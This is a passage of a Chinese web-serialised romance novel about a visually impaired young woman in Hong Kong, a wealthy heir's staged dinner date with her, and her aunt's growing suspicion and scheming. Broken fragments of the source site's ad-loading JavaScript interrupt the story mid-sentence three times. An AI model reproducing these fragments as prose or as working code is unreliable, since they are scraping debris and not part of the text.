“但听起来,你和我弟弟之间就某件事达成了某种约定。” 沈闻时余光瞥见了沈有容的身影,看到他微微皱起的眉毛和眼底的一丝不悦,不由地哑然失笑。 “好吧,看起来有人不愿意我继续听下去了——关于那个,你们两人之间的约定。” . 周三晚七点。 谢天谢地,今晚孟今妍和许姿都有事出门且一时半会不会回来,这才给了黎泱去赴约的机会。 她对小梅接口说是出门散散风。原本小梅还担心她一个人出行不便,要让家里的司机送她,好在沈有容打来电话,说是安排了人去接她。 黎泱的眼睛恢复缓慢,白天能勉强看清光点,到了晚上却又恢复了盲人状态。 她上车听到坐在司机位置上的老者开口,才认出是项怀英。 沈有容竟然派了他的管家来接人? 黎泱从过去和项怀英的接触过程中,知道他和沈有容的关系密切,是他的贴身管家,一直陪在沈有容身边。 现在沈有容让项怀英来充当司机接自己,是不是有些小题大做了。 “晚上好,黎小姐。路程大概半小时,你可以先休息一会,车里也备有茶点。” “谢谢,辛苦您来接我,我不饿。” 黎泱不知道沈有容约她出去究竟是为了什么。那天她给沈有容回电话说自己答应成交,结果对面接电话的人却是沈有容的大哥,沈闻时。 她当场傻眼,下意识脱口而出一句:“不好意思,我我打错了。” “打错了?” 窸窣的声响过后,电话像是换了一个人接起,这次出现在听筒中的是沈有容的声音了。 “我听到你说了成交,那么现在约定达 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成。” “黎泱,现在反悔可来不及了。” 沈有容说这话的时候,语调不再是往日那般的慵懒,而是夹杂着一丝不容置喙的坚定态度。 也是在同一时刻,让黎泱终于回想起并明确了一点: 他原本就是置身高位的掌权者角色。 也许这才是最真实的沈有容。 “嗯......黎小姐著嘅系常服,恤衫和长裤。” “绕道?好,我明了。” 项怀英接了通电话,用的却是粤语交谈,黎泱在后座听得不甚清楚。她不知道今晚沈有容约她出来究竟是为了什么事,连衣服也没换。 汽车行驶十几分钟后,停在了一家高奢品牌店门口。店内早已被清场挂上暂停营业的牌子,二楼预留了贵宾位。 黎泱刚想问时间是否不对,明明项怀英开车前说的是半小时车程。但他已经下车拉开了后座:“黎小姐,餐厅进场需要着正装,少爷让我安排了造型师在等你。” 餐厅?正装? 不就是出来见个面吗,怎么摆出这么正式的架势? 沈有容约她出来到底是做什么! 黎泱懵了,稀里糊涂跟着引导人员进了店,立刻有四五名训练有素的店员同时围上来,每个人手里都捧着衣服对着她笔画。 “我们根据沈先生提供的三围尺寸准备了适合的款式,因为时间有限,目前能从店里调出的只有这一排。” “已经打电话安排附近的门店送货了,女士,请先和我们去里间试衣。” 左右两边各有sale有条不紊汇报着事宜,将黎泱带去了试衣间。她从来没发现自己的换衣速度能这么快。 项怀英在外用手机录像,将黎泱的每一套衣服拍下发给沈有容。一直换到第五套,黎泱已经有些麻木的时候,终于停下了。 之后就是做造型。化妆师半分不敢马虎,手上速度飞快,创造了打破职业生涯的妆造记录。他手里接待过不少当红明星,连影后夺冠那晚的妆造都出自他手,却从来没有一次像今天这样提心吊打过。 “靓女,完成了,你睇一下?” 黎泱根本看不清镜子里自己的脸,只是下意识礼貌道谢:“谢谢。” 化妆师一直悬着的心才终于落下。他刚才上妆的时候便在心里感慨黎泱的样貌极为优越,放在娱乐圈也是机具记忆点的佼佼者。 这样的脸难免让人浮想联翩,暗自猜测起她的身份。难道是,沈二少爷要捧的小明星? 在看到黎泱起身被人引导离开后,让化妆师大跌眼界——她的眼睛竟然看不见?而他刚才在化妆全程中却都没有发现! 这么一来,他刚才猜测的两人之间关系便不攻自灭了。沈家二少是什么人?向来眼高于顶又身份尊贵,怎么可能会和一个眼睛有问题的女人扯上关系。 做完妆造出来,又经过十几分钟的车程后,终于到了TheSeaSpray餐厅。 这是港城最早被列入米其林榜单的餐厅之一,位于四百米空中观景平台。极佳的视野足以观赏维港和半岛的风景,在夜晚体验更甚。 黎泱觉得自己在电梯中经历了漫长的上升时间,刚出电梯,迎面而来的首先是轻柔湿润的海风。 现场乐队奏出的舒缓乐声飘在空中,悠扬宁静,抚人心脾。黎泱小心翼翼提着裙角,生怕弄坏了裙子。 项怀英将她带到位置后便悄然离开。黎泱身处这样的陌生环境,下意识背脊挺直,有些坐立难安。 对面的位置是空的,沈有容并不在。黎泱低下头去数自己裙摆上的褶皱绣花,耳畔的发丝垂下,挡住了眼帘视线。 她身上穿的是条及膝套裙。上身是双排扣设计,腰间配了一条卡扣挂链。至于颜色,好像是淡蓝色? 周围的客人在轻声交谈,对话夹杂着粤语和英语。黎泱觉得此时的自己像误入了另一个世界,被套上华服却格格不入。 她的头发被造型师盘起,用一枚宽发夹别住,有意突显出洁白皎好的颈部线条。 黎泱却觉得有些不适。裸露在空气中的后颈是人最柔软也是最敏感的皮肤部分,在缺乏未知安全感的前提下,她不想交到旁人的视线中。 ——不知道从什么时候开始,黎泱隐隐发现有一道视线始终注视着她。 她伸手取下发卡,长发立刻如海藻般落下肩头。等到再抬起头的时候,看见一道颀长的身影逐渐靠近,最终站在了她身边。 “你头发乱了。” 11. 不夜11 11 沈有容身着米色薄款风衣,内衬是件V领黑色衬衫,最上面两颗纽扣未系,领口微敞,闲适且从容。 他手肘撑着桌边一角,状似漫不经心地说了句:“你不喜欢这套衣服。” 不像是疑问的语气,倒像给出答案想听别人的看法。 黎泱把散下的头发挽成一个发髻垂在脑后,身子向后微仰,默默和沈有容拉开了一段距离。 “什么衣服对我来说都一样,毕竟我都看不见。” 想了想,觉得这段对话有些没逻辑,她又在后面补充一句:“你今晚找我出来到底是为了什么?” 黎泱担心回去太晚会被许姿发现,到时候怎么解释又要花一番力气。 沈有容没有再就刚才衣服的话题聊下去。他在黎泱对面落座,淡然开口:“吃饭。” 就为了一顿饭,大费周章以一个“任意条件”做筹码,还要绕道让她去换了身正装? 不对啊,为什么要偏偏约她出来吃饭?她和沈有容也不熟吧。 黎泱越琢磨越不对劲。 脸上的表情都写满了“谁信”。 精美的菜肴被接连呈上,黎泱却根本没有想动筷子的欲望。现在的处境于她而言不亚于鸿门宴,摸不清状况。 她的紧张状态全部落到了沈有容眼中,可他就是没有要开口解释的意思。 沈有容靠在椅背上,视线盯着黎泱。 自从那日在医院遇见后,黎泱就取下了脸上的纱布,不再遮挡眼眶。过去几次的见面,她的五官大多隐于纱布后,且刻意降低存在感不想让人注目。 这是沈有容第一次近距离观察黎泱,就在方寸的餐桌之间,隔着他和她的距离。 她隐藏不了,面容和脸上的神情都在周围的吊灯下藏无可藏,呈现出一个真实的她。 黎泱的皮肤很白,鼻梁至下颌线条流畅优美。造型师着重强调了她的眼睛,拉出夺目的上扬眼线。但她的眼帘却始终垂下,视线只盯着自己面前的桌子,烟视媚行。 沈有容的身边从不乏外形亮丽之人。 但黎泱的身上有一种介乎明媚和刻意伪装寡淡的反差。明明那么矛盾,却又有种魔力,引得人下意识想去探寻缘由。 “上次去医院复诊的情况怎么样。” 冷不丁从沈有容口中听到询问,黎泱顿了下才回答:“医生说还需要时间恢复。” 她没说出自己眼睛已经有恢复的迹象。事实上从沈有容出现到现在,黎泱都没有抬头看他一眼。 “沈先生,您今天约我出来,真的只是为了吃一顿饭?” 黎泱再次确认一遍,就差把“你到底有什么目的瞒着我”明晃晃地写在脸上了。 沈有容不禁觉得好笑。 让他猜测一下:当黎泱知道这次见面是一场假意营造出的“他和她的约会”后,会不会惊慌失措当场逃跑? 以她不想惹事的怯弱性格,说不定还真能做得出。 沈有容从项怀英口中大致了解过黎泱在孟家的状况:又怂又软弱,恨不能身披隐形衣藏匿在人群里。 可偏偏被沈有容撞见的那几次,黎泱表现出的都是另一幅样子。 一开始是商场里伸张的热心路人,她以为他舍不得给女朋友花钱买包;还戒指时唯恐避之不及和他撇清关系,还有接到电话以为他出尔反尔翻旧账,威胁他要把商场的事给抖搂出去。 就像平常乖张无害的小猫,当被人捏住后颈,也会藏不住扬起爪子。 还真是应了她自己说的那句话——兔子急了也会跳起来咬人。 沈有容起了兴致,故意顺着黎泱的问题往下说:“怎么,你担心我下毒?” 黎泱刚喝了半口的水差点喷出来。 她被呛住咳嗽了半天,沈有容抽了纸巾递过来,她只好伸手接过。也是这时才终于正眼看了沈有容。 好吧,面容模糊看不清,只能隐约辨认出身体轮廓。 按照孟今妍每天挂在口头的念叨,沈有容长相俊美,不仅是整个港城,毫不夸张地说可以秒杀娱乐圈的男明星。 都说耳听为虚眼见为实,奈何黎泱现在什么都看不见,所以她选择一个都不相信。 “我可没有那么说,沈先生你不要以己度人。”不要那么小心眼好吗? 沈有容还不知道自己已经被黎泱在心里又扣上了个帽子。他挽起袖口,重新给黎泱倒了杯甜白起泡酒。 “在你找我兑现一个任意条件前,同样可以以己度人对我。” “算是一个特权。黎泱,看你要怎么行使了。” 相隔几桌的距离外,一个戴着帽子的人影悄悄举起手机按下了拍摄键。 . 沈有容察觉到手机震动,拿起看了一眼,发现是家庭群里有了新消息。 沈汀仪:图片 沈汀仪:现场第一视角!二哥真的在和女生约会! 庄明意:为什么只有半张图片呀。 沈汀仪:当然要花钱解锁呀妈咪,我可是冒着被二哥发现的风险拍下来的,需要点钞能力看全图不过分吧。 沈闻时:小妹,你好像忘了二哥也在群里。 沈汀仪:!!! 两秒过后,沈有容发现自己被踢出了群聊。 处理人不是别人。 正是他的母亲庄女士。 庄女士还十分“善解人意”地给他发了条解释的消息: “有容不好意思哦先把你踢出去一会,你能理解我真的很想看照片的心情吧?要不是你爸拦着,我真想立刻赶到现场和Cindy一起围观。” 沈有容:fine。 原来人在无语的情况下原来真的会笑。 黎泱本来就神经紧绷,听到沈有容的轻笑后,手里的刀叉没握住掉到盘里,发出“叮当”两声脆响。 这人发什么神经?突然笑起来很吓人的好不好! 她彻底没了再吃下去的心思,整顿饭下来如嚼干蜡。黎泱把面前的盘子收拾好,斟酌了措辞才开口: “沈总,我现在能回去了吗?” 沈有容偏过头,正按照刚才沈汀仪发过来的那半张照片角度在找人。闻言回答道:“稍等,我让人把车开到楼下。” 而此时的沈汀仪做贼心虚,把头上的帽子压得更低了。 只要不被她二哥逮到,那么她今晚一张照片净赚了一百五十万!爸妈和大哥都花钱从她这里买了全图,入账消息让她笑容满面。 之前二哥在商场不肯给她买包,没关系,马上她就能靠着从沈有容这里薅来的羊毛全款拿下了! 她坐的位置在沈有容那桌的后面,只能拍到沈有容和他对面女生的背影。 沈汀仪忽然灵光一闪。要是能再靠近一点拍到女生,那不是又能再赚一笔? 计划通,可行! 她鬼鬼祟祟起身,拿起包挡住自己的脸,猫着腰要朝沈有容的方向走去—— 就在同一时刻,看见了沈有容朝她扫来一记眼神。 哦豁。 沈汀仪:危。 黎泱原本打算自己借着模糊的视线下楼,反正灯光隐隐绰绰,她就顺着光点走。结果刚站起来,就看见沈有容向她伸出了左手。 她没去碰,想着像沈有容这样的身份也许会有洁癖。 黎泱刚转过身,忽然被人拉住了手臂,身体没站稳向后一倾,被带到了身后那人的怀里。沈有容只触碰了短暂一下,很快换成了绅士手,虚贴在她的腰侧。 “有人在看,陪我演场戏。” 两个人的距离贴得很近。沈有容说话间的温热气息洒在黎泱的耳侧,让瓷白的皮肤很快升温。她下意识去揉了下耳朵,感到那小块皮肤在发烫。 “但是我不会演戏。”黎泱低声说。 “配合我就好。” 沈有容脱下了风衣外套自上而下兜住了黎泱,解开她的发绳有意将头发垂下挡住脸庞。 他的手指从黎泱乌黑的发丝中穿过,又小心避开以免让指尖的戒指勾到她的头发。 黎泱一动不动站着由他摆弄,这时候心里却有些坦然了。 原来如此,难怪沈有容要找她出来吃饭。 恐怕让她配合演戏才是今晚的真实目的吧。 这样一想她才安心下来。拿人手短吃人嘴软,沈有容平白无故请她吃饭才心里难安。 “然后要怎么做?不会要借位......” “借位什么,接吻?” 沈有容隔着布料揉了下她的发顶,嗓音戏谑:“黎小姐,你电视剧看多了。” 黎泱:“......” 好,她不说话了。 “搭着我的胳膊,低头走路就好。放心,不会让你摔倒。” 黎泱披着沈有容的外套又低下头,方寸之间视线根本无暇顾及其他,只好借力随着他的步伐在走。 这头的沈汀仪僵在了原地,动也不是不动也不是。最后选了个最傻的掩耳盗铃式做法:背过身去,假装她看不见人,沈有容也看不见她。 但很可惜,沈有容不打算陪她玩过家家的游戏。 “Cindy。” 从沈汀仪身边经过的时候,沈有容直接喊了她的名字。 “你下个月的零花钱没了。” 沈汀仪震惊,痛心疾首:“沈有容,你点能咁冷酷无情对待你妹妹!” “你靠照片骗了多少钱,真以为我不知道?”沈有容不惯着她。 “凭我和你的关系,让我挣点钱而已嘛,别那么小气二哥。”沈汀仪说话的间隙一直在瞟向站在沈有容身侧的人影,可是——根本就看不清脸啊可恶! 沈有容怎么可能不知道她的心思,将黎泱朝自己身侧带近了几分,挡住了沈汀仪好奇窥探的视线。 “回去再和你算账。”说完便带着黎泱离开了。 . 电梯一直下达vip车库。直到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 进了电梯厢,黎泱才解下衣服还给沈有容。 但他却没有立刻接过。 “你的眼睛——” 黎泱后知后觉,她刚才忘记了一件事:如果她还是“失明”状态下,是不会一下子准确无误找出沈有容所在的位置,并准确把衣服递到他手里的。 无奈,她只好实话实话:“是有一点好转,能感知到光线,但还是看不清事物。” “是件好事。” 沈有容接过衣服,说了句祝贺。 出了电梯,黎泱本以为还是由项怀英送她回去,却没想到沈有容替她拉开了副驾驶的门。 她迟疑:“你开车?” 沈有容显然理解错了意思,一本正经回答:“我刚才并没有喝酒。” “不,不是这个意思。”黎泱绞尽脑汁,试图找一个最恰当的解释告知沈有容:“我好像没有殊荣,能让沈先生你给我当司机?” “是么。” “那你现在有了。” 沈有容干脆利落关上了车门。 黎泱摸不准这尊大佛的脾性,只好摸索着系好安全带。 从餐厅出来还没到九点,按理说平常这个点许姿和孟今妍应该还在外面。黎泱稍稍放了心。 港城的夜晚路上依然有很多车,车速开不快。沈有容随手打开了广播,蹦出来的是个音乐电台,在播放粤语老歌。 黎泱想缓和沉寂的氛围,于是主动开口说:“这首歌的旋律挺好看的。” 沈有容单手扶着方向盘,降下车窗,另一只手撑在窗框上。闻言看向黎泱,问她:“你知道歌词唱的是什么吗?” 她摇头:“我听不懂粤语。” 沈有容笑了下,有些意味不明。 他就着伴奏用粤语哼唱了刚才的那一段副歌,磁性的嗓音回荡在封闭的车厢内,低沉悦耳。 黎泱不知道出于什么原因,在心里记下了这段旋律。 她想到刚才和沈有容对话的那个女生,声音听起来就是当初和沈有容一起在商场的那个人。于是顺势问:“刚才和你说话的是你女朋友吗?” 沈有容在打方向盘,目不斜视看着前方。“你从哪听到我有女朋友的。” 黎泱还以为他这是让自己保密不能传出去的意思,十分懂事伸手在手边做了个“拉拉链”的动作。 “你放心,我不会说出去的。” “......” 沈有容顿住,抽空分了个自己体会的眼神给黎泱。而后才意识到对方根本就看不见。 “那是我妹。黎泱,你的脑补能力可以用在别的地方上。” 黎泱错愕,然后震惊,最后想到自己之前的想法,后悔得不行。 好像确实是这样。 沈有容和他妹妹在商场里的对话,是她先入为主理解错了。 啊啊啊,她没事为什么要开口!就这么沉默到家不好吗? 与此同时,餐厅内浑然不知发生了什么的沈汀仪打了个喷嚏。她搓了搓手臂,觉得一定是偷拍被沈有容逮到,这会在心里骂她呢。 快到孟家别墅的时候,黎泱让沈有容先停下车。“我要把身上的衣服换掉。” 她不能穿着沈有容给她准备的衣服回去,否则一定会被盘查。 沈有容应下,拐进了一条巷子。“你去后座换。”说完便下了车,关上车门走远。 他背对着车,听到了车门开关两下的声音。 手机里,庄明意重新把他拉回了家族群。大家都在好奇今晚坐在他对面的女生身份。 庄明意:是哪家的姑娘?陈家,谢家,还是江家...... 沈汀仪:二哥把人保护得可紧了,我除了头发什么都看不见。 沈有容:Cindy,你最好祈祷这周末我心情不错。 沈汀仪:不要啊二哥。是大家怂恿我才的,你不能只逮着我一个人吧? “我换好了。” 车厢传来黎泱的声音,沈有容收了手机,重新拉开车门。 黎泱把换下的衣服叠好,“这些衣服等我洗干净再还......”话没说完,她像想起什么似的,后半段话不说了。 沈有容知道她在想什么。“你喜欢的话就留下,不喜欢就扔了。” 今晚的见面本就是为了让庄明意打消给他安排相亲才促成的。换个角度想倒也要感谢沈汀仪,有她发的照片让家里更信服了些。经过这次,至少有段时间不会再念叨他了。 黎泱摸着那件套裙的衣角,点头:“好,我知道了。” 她下车,出于礼节还是对沈有容说了句:“谢谢你今晚的款待。” “黎泱。” 沈有容叫住她:“别忘了那一个任意条件。虽然没有说时限,但我希望尽早履行结束,这样对你我都好。” “嗯,我知道了。”黎泱说:“我会尽快想好告诉你。” 她转身走向别墅群,身后,车灯照亮了面前的路。 12. 不夜12 12 按照上次复诊时医生的安排,黎泱半个月后还要再去一趟医院。因为孟序在外出差,家里其他人也没有空闲时间,所以由小梅陪着她一起去。 等到了医院拿完号,小梅看着单子,疑惑发问:“黎小姐,上次给你复查的医生是姓谭吗?” “我记得是陈医生。怎么了,出错了吗?” 小梅只得找来医护人员问了一遍,却被告知内部系统确实是这样安排的,没有问题。 “也许是临时换了班。快到时间了,黎小姐你先进去吧。” 黎泱点点头,走进就诊室。刚进门,就听到一道苍老却温和有力的声音:“是黎泱小姐?请坐。” 老人为她递来一杯热茶,黎泱有些受宠若惊:“谢谢。” “陈医生因为工作调度,以后你的检查工作都由我来负责。”谭老院长说这话的时候有些中气不足,心道自己一把年纪了还要说“善意的谎言”。 要不是受沈家那位所托,他也不会再亲自看诊。沈有容找到他的时候,谭老院长还有些诧异:毕竟从来没听过沈有容有托人办事的一天。 沈有容投其所好赠与了谭老院长一副古医贴真迹,托他给一位朋友看病。而他口中的那位朋友,就是黎泱。 谭老院长翻看了黎泱的病例:“你的症状是在15岁那年突发产生的,但手术却是今年才做的。这中间相隔五年,为什么都没有采取治疗?” 黎泱的脸色有些微妙变化,放在膝盖上的手不在觉握紧。 “因为......没有治疗的条件,负担不起手术费用。” 从五岁父母丧生车祸后,黎泱就被送到了当地的孤儿院,在那里一待就是十多年。 她见证了一个又一个孩子被送来,被领养走,最后只有她还留在那里。 那家孤儿院在郊区,年头久远,获得了补贴政策微乎其微。多一个人,就意味着多一笔开销。黎泱的房间编号是47,于是总能听见大人聊天时说: “47号还真是祸害六千年,父母都死在车祸中只有她命大活下来。现在留在这,每年都多一张嘴。” 十五岁那年,有一对夫妻来到了孤儿院,走进了47号房间。 那是夏天,黎泱在不久前收到了市里最好的高中的录取信息。 她以为自己终于有了走出47号房间的机会。 却没想到上天又一次和她开了玩笑。她的眼睛突然失明,被弃养,失去了高中入学的机会。 此后的几年,她只能孤身在黑暗中徘徊。 结束会诊,看到黎泱的身影离开房间后,谭老院长静坐了片刻,拨通了一个号码。 . 远郊,鹤咀。 这块位于石澳以南的半岛曾被称为“港城秘境”,作为海岸保护区,自然回以它秀丽的风景馈赠。 除了吸引人的美景外,这里更闻名的是石澳高尔夫乡村俱乐部——被冠以港城最神秘球场的名号。 始建于1925年的纯正英式建筑风格,只有几百名会员的纯会员制球场,还有严苛的入会引荐条件,无疑让石澳俱乐部成为身份和权力的代名词。在这里,富人的身份只是一个最无关紧要的筛选门槛。 沈闻时坐在遮阳伞下刚结束一场跨国会议,就看见一道黑色身影走近,拉开他身边的椅子坐下。 “这么快就回来了。今天天气不错,不去球场上玩会?” 沈有容把黑色冲锋衣的拉链向下拉了几寸,露出锋利的下颌线条。他刚结束海边礁石攀岩,发丝有些凌乱,额头还出了层薄汗。 沈有容要了杯冰水,单手支着额角喝了口。冰凉的液体顺着喉咙滑进,缓解了几分刚运动完的闷热。 “在英国待了几年,高尔夫这种所谓的绅士运动早打腻了。” 沈闻时对自家弟弟的话未置可否,无声笑笑算是回应。 到了他们这个身份,纯粹打球的可能性很少,大都是随着生意上的往来和商务谈判。 但在沈闻时看来,这些事和其中的纷繁复杂落到他一人身上就好。至于下面的弟妹,只需要做他们喜欢的事。 从很早开始,沈闻时就清楚自己身上担负着继承人的责任。但他更知道,自己除了是家族的接班人外,还是沈有容和沈汀仪的兄长。 “刚才Cindy一直发消息,说要让你给她拍连岛沙洲上那座蓝色情人桥。我告诉她你没带手机后,她郁闷得不行。” 沈有容挑眉,“蓝色情人桥?她又从哪听到这么文绉绉的词。” “据说是网红打卡点?”沈闻时对自己妹妹跳脱的性格也有些无奈,找出她发来的原话照着念: “和爱人一起走上蓝色情人桥,吹同一道海风,看地质变迁留下的花岗岩印记,直到道路消失在海岸尽头,见证这样海枯石烂的爱情......” “行了大哥,不用再往下念了。” 沈有容听得牙酸,怀疑沈汀仪青春期究竟是看了多少矫揉造作的伤痛文学。 一起站上桥再吹海风就能海枯石烂?还真是浪漫“爱情”。 他和沈闻时又闲聊了些别的话题,不自觉间说到了那晚约会的事。大哥有些意味深长:“可能你觉得那晚过后便打消了母亲的注意力,但是有容,你有没有想过会适得其反。” “......” 如果说家里有一个人最擅长洞悉周围事物,沈有容觉得这个人一定是大哥沈闻时。 他没想解释,但也没有想隐瞒:“那得看是什么样的适得其反。” “是,毕竟现在谁也说不准。但真到了那一天,你会采取行动加以约制吗?” 透过镜片,沈闻时的眼睛依旧是带着笑意的。但他说出的话却让沈有容有种意有所指的错觉。正当沈有容不知道要怎么回答的时候,沈闻时又不经意带过了话题: “我听说你前两天去拜访了谈家的老爷子?怎么了,身体哪里不舒服?” 沈有容现在可以确信,沈闻时问的问题确实是有意的了。 他不能再待下去,否则要不了多久所有的底牌都被摸透了。 “不是我,是有个认识的朋友身体不适。大哥,我明天有事,下午就要启程回去,不和你一起走了。” 说完,沈有容也没去看沈闻时的反应,毫不犹豫转身就走。 留下沈闻时一个人坐在原地,慢悠悠地摘下了眼镜,拿着软布擦拭镜片。 “男大也不中留啊。” . 黎泱刚回到家,隔着大门就听到屋内嘈杂的声音。小梅问了一圈回来说:“是孟小姐在家办了party,请了朋友来玩。” 黎泱本打算悄无声息上楼,但客厅围了七八个男女,早已玩嗨上头,哪有那么容易穿过客厅。 “哎,孟今妍,这也是你叫来的朋友?” 有个喝醉酒瘫在沙发上的男人看见了黎泱,好奇地指着她。“长得这么漂亮,以前怎么没介绍给我们啊。” 他是兴泰银行总经理的小儿子毕承节,家境优渥又被宠得无法无天,是港城圈子里出了名的纨绔少爷。 孟今妍借着别人的关系才认识了他。相处一段时间下来毕承费有意要追她,但孟今妍没同意也没直接拒绝,拿捏桥段,态度悬而不决。 她只把毕承节当做备胎,心里始终想着向上攀。但那位——又怎么可能看得上她。 但此刻从毕承节口里听到夸赞黎泱的话,孟今妍心里隐约升起一种危机感。 她冷笑一声,故意拔高了声音:“她?你看不出她是个瞎子么。我爸前段时间找回来的外甥女,不早不晚,偏偏在我爸升职后出现了。” 黎泱拎着医院的药袋,感受到四周考究的视线都落在她身上。 她知道自己在孟家并没有什么话语权,就算孟今妍那直白的恶意语气袒露无疑,也做不了什么回应。 “表姐,我有点累了,先回房了。” 毕承节却来了兴趣,“瞎子?还没真没看出来。不过这么漂亮的眼睛,真可惜了。” 旁边有人附和:“毕少,你不会看人家漂亮就想认识吧?那也得先问问人家表姐的意思哦。” “脸好看就行了。说不定咱们毕少就是觉得新鲜想换换口味呢——” 在一边的小梅都听不下去了,刚想开口,被黎泱拉住了手。 “表姐,舅舅前几天才打电话让你收心准备留学的事。你在家里举办派对的事如果被他知道了......” “我的事需要你来提醒吗?”孟今妍心生恼火,但又不得不顾忌黎泱刚才的话。她视线一瞟,发现了毕承节的目光一直都放在黎泱身上,于是刚才的危机感有涌上心头。 “赶紧回你房间去,在这碍手碍脚的丢人现眼。本来多好的气氛都被你给搞僵了!” 黎泱隔着人群,像是不经意般朝孟今妍的方向看了眼。而后没再停留,带着小梅上了楼。 但那一眼却让孟今妍发怔,愣住了。 她的心里慢慢浮现出一个念头: 黎泱的眼睛,是不是能看见了? . 下午六点,许姿行色匆匆赶回家。家里做工的佣人刚想打招呼,看到她沉郁的脸色后又打消了念头。 大家都在心里暗自嘀咕:平常许姿下午出门参加太太圈的茶话会, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顺道会聚在一起打牌到晚上。怎么今天这么早就回来? 许姿顾不得手套都没摘,直接上楼去了孟今妍的房间。孟今妍正神色烦闷地躺在床上,看到许姿进来一顿发脾气: “我下午好好的party被黎泱搅成了什么样!她一出现,所有人的心思就都放在了她身上,毕承节后面一直心不在焉没看我一眼。原本他是追我的,是追我的!” 孟今妍发了一圈牢骚,将枕头狠狠摔在地下。“妈,你说她眼睛是不是好了?她原本天天戴个眼罩看不清脸,现在倒好,生怕别人注意不到她那张脸——” 许姿浑身一僵:“你说她能看见了?” “我不知道!但是她下午看我的眼神,让我起了鸡皮疙瘩。” 孟今妍现在十分后悔把party在家里举办。她原本是想继续在毕承节那里刷脸保持新鲜感,他毕竟是被捧惯了,而自己又一直没有明确的表示,所以才担心他会因为没回应而放弃。 但谁能想到,毕承节在看到黎泱后表示出了那么大的兴趣!从派对结束到现在,他都没有再联系过自己。 孟今妍神色愤愤,没有注意到许姿的脸色越来越差。 她下午还一切正常,照旧和相熟的其他太太聊天喝茶。只是中途,有人突然谈到她的名字: “孟太太,没想到你家还和嘉汇医院的谭老院长有关系。我今天去那里检查身体,看到从你家车上下来的人被接待进了院长办公室。” 嘉汇医院是港城闻名的高端私人医院,隶属谈家名下的生物科技集团,地位自然瞩目。 而谭老院长的身份更不用说,是医疗界名声显赫的泰斗,从谈家公司的位置上退居不久。 一听到孟家和谈老院长认识,众人纷纷围观来。但许姿却突然想到了之前孟序为了给黎泱找医生,托各方关系想联系谈院长的事。 她下意识地以为真的是孟序请到了谈院长。 许姿心中无端蔓延出复杂的情绪,有震惊,有恼火,还有一丝不易察觉的恐惧。 “我是后悔了,所以才想补偿小泱。没有当年的那笔钱,我们家也不会有今天。可现在让我选,我宁愿不要——” 她的脑海中突然出现孟序之前说过的话。联想到孟序对黎泱的格外上心,让许姿仿佛有了预示一般。 等她坐在银行柜台前,查到孟序从很早起就坚持向一个陌生账户转账,并在近期转账次数频繁后,彻底坐实了她的想法。 那是笔很大的金额。 孟序在补偿黎泱。 或者说,是为当年在赎罪。 但许姿不想看到这样的事发生。 距离当初那件事发生已经过去了十几年,也是靠着那笔钱,让孟家有了翻身往上走的资本。 许姿从不觉得自己做错了什么。她好不容易有了现在的地位和生活,怎么可能眼睁睁看着孟序再把东西全部收回,去补偿黎泱。 所以当收到孟今妍发来的控诉消息后,许姿立刻回了家,一路上都在想应对措施。 再加上孟今妍火上浇油的教唆,她彻底坐不住了。 “你怀疑她眼睛恢复了,我要亲自看看是什么情况。” 黎泱没想到许姿会找到她。 她开门的时候只看见面前站着一道人影,如果不是许姿开口,根本无从分辨面容。 “厨房多热了杯牛奶,不想浪费,就想到了你。” 听到许姿的话,黎泱有一丝迟疑。对方在平常从来没有特意关注自己,反而是漠视甚至敌对的态度。怎么会在今晚突然表现出善意? 许姿的语气隐隐不耐烦:“你赶快接过去,我还有事要做。” “哦,好的。” 黎泱只得应下,伸手要去接。下一刻,许姿故意失手打翻杯子,把牛奶泼向对面—— 被黎泱侧身躲过了。 于是说是她“看见”了许姿的动作,更准确地表述应该是在那一瞬间,黎泱心头闪过了一丝预感。 许姿和平日格格不入的违和感。 “不好意思舅母,我刚才突然想咳嗽转了头,才没有接住杯子。” 许姿没有心思去听黎泱的解释。 因为她盯着黎泱的脸,从中越发看出了熟悉感。像极了当年她刚嫁进孟家的时候,第一次见到黎泱母亲的样子。 那股不易察觉的复杂情绪又涌上心头。许姿心思沉重不发一言,没有停留转身就离开。只是步伐不太稳。 她回到卧室反锁了房门,紧接着拿出手机打了通电话。 “对,现在就帮我定一张明天最早的机票。” “从港城飞嘉市。” 13. 不夜13 13 早晨六点,天光微亮。正值秋季,清早的气温还带着凉意。 黎泱习惯在这个时间醒来。她同往常一样洗漱完,推开窗,安静待在房内直到楼下传来佣人做事的动静。 但今天的宁静很快被打破。 一位不速之客推开了黎泱卧室的门。 那是一位她从未接触过的女佣,声音听起来敦厚朴实,四十左右的年纪。黎泱有些困惑,因为以往她的日常起居都是由小梅来负责的。 “黎小姐,孟先生今早回港的航班,太太吩咐让我带你去机场接机。” 孟序已经结束出差了?可之前不是说要去半个月,这才过去一周时间。 但黎泱只在心里困惑了一下,因为孟序离开后还没有和她通过电话。也许是突然改变了行程安排也说不定。 “小梅呢,为什么不是她来找我?” 女佣的声音有些紧张:“哦,小梅她......她家里有急事,太太给她放了三天假,昨晚就离开了。” 黎泱觉得有一丝怪异,但又说不出是哪里不对。现在是许姿当家,她没道理不听从许姿的安排。于是只好跟着女佣下了楼,坐上早已等候多时的汽车。 到了车内,黎泱才发现只有司机,女佣还有她自己三个人。“舅妈和表姐还没有下来吗?” “是,啊不对......太太和小姐坐了另一辆车,早就已经出发了。”女佣和司机对视一眼,后者立刻锁上车门,发动了汽车。 黎泱一个人坐在后座,出门前的那种不安感越来越强烈。 眼睛失明后,她在很长一段时间内只能依靠直觉和听觉生活,所以黎泱很信赖她的本能感受。 她试图让自己冷静下来,在脑海中重新过了一遍今早发生的事。 先是小梅突然“告假”不见,一个从来没接触过的女佣敲了她的门;接着她被告知许姿要她去机场接机,但下楼出门的时候没有听到家里其他人发出的一丝动静。 这明显不正常。以往这个点,家里做工的佣人早就已经开始忙碌了。 而且,她从始至终都没有见到过许姿。 没错!按照许姿以往对待她的态度,觉得碍眼根本不会想看见她。为什么今天会特意让她一起去接机? 如果说是孟序安排的,那更不可能。他知道自己眼睛还未恢复,出差前还说让她在家里安心修养。 所有的问题都出自许姿。她究竟,想要做什么? 同一时刻,主卧阳台。 